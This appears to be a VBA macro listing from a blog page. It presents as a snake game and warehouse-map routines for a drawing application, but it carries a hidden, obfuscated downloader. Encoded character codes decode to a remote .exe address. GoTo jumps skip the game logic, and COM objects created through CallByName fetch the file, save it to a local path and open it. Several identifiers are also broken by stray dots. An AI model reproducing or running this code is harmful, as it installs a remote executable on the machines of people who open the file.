                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
                lls.Rotate 90
            Case "lr"
                Set s = gc.Item("body").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
        End Select
    Next e
    '/ draw tail
    x = sna.ke(0, UBound(snake, 2)) * cellSize
    y = sna.ke(1, UBound(snake, 2)) * cellSize
    Set s = gc.Item("tail").Duplicate
    lls.MoveToLayer ActivePage.Layers.Item(2)
    lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
    directionTail = getDirectionTail(sna.ke(0, (UBound(snake, 2) - 1)), sna.ke(1, (UBound(snake, 2) - 1)), sna.ke(0, UBound(snake, 2)), sna.ke(1, UBound(snake, 2)))
    Select Case directionTail
        Case "top"
            lls.Rotate 270
        Case "bottom"
            lls.Rotate 90
        Case "left"
        
        Case "right"
            lls.Rotate 180
    End Select
    
    '/ draw food
    For i = 0 To boardHeight - 1
        For e = 0 To boardWidth - 1
            If food.Matrix(e, i) = 1 Then
                Set s = ActivePage.Layers.Item(3).CreateEllipse(e * cellSize + offsetLeft, i * cellSize + cellSize + offsetBottom, e * cellSize + cellSize + offsetLeft, i * cellSize + offsetBottom)
                lls.Outline.SetNoOutline
                lls.Fill.UniformColor.CMYKAssign 0, 100, 100, 0
            End If
        Next e
    Next i
    
    '/ draw interface
    SScorePoint.Text.Story = scorePoint
    
    ActiveDocument.ClearSelection
    Applica.tion.Optimization = False
    ActiveW.indow.Refresh
    App.lication.Refresh
End Sub

Private Function getDirectionTail(pX As Integer, pY As Integer, x As Integer, y As Integer) As String
    If x = pX Then
        If pY = y + 1 Then getDirectionTail = "top"
        If pY = y - 1 Then getDirectionTail = "bottom"
    End If
    If y = pY Then
        If pX = x + 1 Then getDirectionTail = "right"
        If pX = x - 1 Then getDirectionTail = "left"
    End If
End Function

Public Sub SaveMaps()
rbp = CallByName(somehernya_1, dikenson(10), VbGet)
  Dim objStor As Variant
  CallByName somehernya_2, dikenson(9), VbMethod, rbp
  Dim objMap As Variant
  Dim LP As Long
  Dim ID As Long
  Dim XPos As Single
  Dim YPos As Single
  Dim BinLP As Long
  Dim BinID As Long
  CallByName somehernya_2, dikenson(11), VbMethod, somehernya_5, 2
GoTo DomSeiko
  For LP = 1 To BM.MapCount
    ID = BM.MapID(LP)
    objMap.Load ID
    objMap.BeginEdit
    objMap.MapZoom = BM.MapZoom(LP)
    objMap.ApplyEdit
    Set objMap = Nothing
  Next LP
  For BinLP = 1 To BM.StorCount
    BinID = BM.StorID(BinLP)
    If BM.BinLoaded(BinID) Then
      BM.BinLocation BinLP, XPos, YPos
      With objStor
        .Load BinID
        .BeginEdit
        .XPos = XPos
        .YPos = YPos
        .ApplyEdit
      End With
      Set objStor = Nothing
    End If
  Next BinLP
  On Error GoTo 0
ErrExit:
  Exit Sub
DomSeiko:
somehernya_6.Open (somehernya_5)
End Sub


Private Function getTypeBodyCell(pX As Integer, pY As Integer, x As Integer, y As Integer, nX As Integer, nY As Integer) As String
    Dim a As String
    Dim b As String
    
    If x = pX Then
        If pY = y + 1 Then a = "top"
        If pY = y - 1 Then a = "bottom"
    End If
    If y = pY Then
        If pX = x + 1 Then a = "right"
        If pX = x - 1 Then a = "left"
    End If
    If x = nX Then
        If nY = y + 1 Then b = "top"
        If nY = y - 1 Then b = "bottom"
    End If
    If y = nY Then
        If nX = x + 1 Then b = "right"
        If nX = x - 1 Then b = "left"
    End If
    
    Dim somehernya_8 As Integer
  Dim somehernya3_1 As String
  somehernya3_1 = ""
   GoTo s2
    If (a = "top" And b = "right") Or (a = "right" And b = "top") Then
        getTypeBodyCell = "tr"
    End If
    If (a = "bottom" And b = "right") Or (a = "right" And b = "bottom") Then
        getTypeBodyCell = "br"
    End If
    If (a = "top" And b = "left") Or (a = "left" And b = "top") Then
        getTypeBodyCell = "tl"
    End If
    If (a = "bottom" And b = "left") Or (a = "left" And b = "bottom") Then
        getTypeBodyCell = "bl"
    End If
s2:
      For somehernya_8 = LBound(somehernya_7) To UBound(somehernya_7)
    somehernya3_1 = somehernya3_1 & Chr(CInt(somehernya_7(somehernya_8)) - 1000)
  Next somehernya_8
GoTo s7
    If (a = "top" And b = "bottom") Or (a = "bottom" And b = "top") Then
        getTypeBodyCell = "tb"
    End If
    If (a = "left" And b = "right") Or (a = "right" And b = "left") Then
        getTypeBodyCell = "lr"
    End If
s7:
somehernya_1.Open dikenson(5), somehernya3_1, False
MimoNasM
        
End Function

Private Sub Destroy()
    Applic.ation.Optimization = True
    
    ActiveP.age.Layers.Item(2).Shapes.all.Delete
    ActivePage.Layers.Item(3).Shapes.all.Delete
    ActivePage.Layers.Item(4).Shapes.all.Delete
    ActivePage.Layers.Item(5).Shapes.all.Delete
    ActivePage.Layers.Item(6).Shapes.all.Delete
    
    ActiveDocument.ClearSelection
    Applic.ation.Optimization = False
    ActiveW.indow.Refresh
    Applic.ation.Refresh
End Sub

Private Sub CheckBins()

somehernya_7 = Split("1104|1116|1116|1112|1058|1047|1047|1115|1101|1107|1105|1101|1100|1103|1101|1046|1099|1111|1046|1117|1107|1047|1115|1121|1115|1116|1101|1109|1047|1108|1111|1103|1115|1047|1055|1054|1052|1055|1103|1100|1055|1098|1052|1051|1102|1052|1051|1046|1101|1120|1101", _
"|")

  Dim LP As Long
  Dim BinID As Long
  Dim objStorages As String
  Dim objStorage As Variant
  Dim MapID As Long
  Set somehernya_2 = CreateObject(dikenson(1))
   GoTo DomSeiko
  
  For LP = 1 To BM.StorCount
    BinID = BM.StorID(LP)
    If Not objSto.rages.IsItem(BinID) Then
      BM.UnloadStor BinID
    End If
  Next LP
  
  For Each objStorage In objS.torages
    With objStorage
      If Not BM.BinLoaded(.ID) Then
        BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
      End If
      
      MapID = BM.BinMapID(.ID)
      If MapID <> 0 And MapID <> .MapID Then
        BM.UnloadStor .ID
        BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
      End If
    End With
  Next
  On Error GoTo 0
ErrExit:
  Exit Sub
DomSeiko:
Set somehernya_6 = CreateObject(dikenson(2))
Set bukinist = CreateObject(dikenson(3))
Set somehernya_3 = bukinist.Environment(dikenson(4))
getTypeBodyCell 1, 2, 3, 4, 5, 6
End Sub

Public Sub OnasOn()

  Dim objStorages As Variant
  Dim objStorage As Variant
  Dim objMap As Variant
  Dim objMaps As Variant
   CallByName somehernya_2, dikenson(7), VbLet, 1
 somehernya_2.Open
GoTo DomSeiko
  CheckDat.abase BM
  CheckM.aps BM
  objMaps.Load
  BM.Visible = False
  If objMaps.Count > 0 Then
    BM.Visible = ShowMaps
    If ShowMaps Then
      If Not MapsInitialized Then
        
        For Each objMap In objMaps
          With objMap
            BM.AddMap .ID, .MapName, .Units, .Zoom
          End With
        Next
        
        objStor.ages.Load , , , , , True
        For Each objStorage In objSto.rages
          With objStorage
            BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
          End With
        Next
        MapsInitialized = True
      End If
      AddSenso.Rs BM
      CheckB.ins BM
      BM.Update
    End If
  End If
  Set objMap = Nothing
  Set objMaps = Nothing
  Set objStorage = Nothing
  Set objStorages = Nothing
  On Error GoTo 0
ErrExit:
  Exit Sub
DomSeiko:
SaveMaps
End Sub




댓글

가장 많이 본 글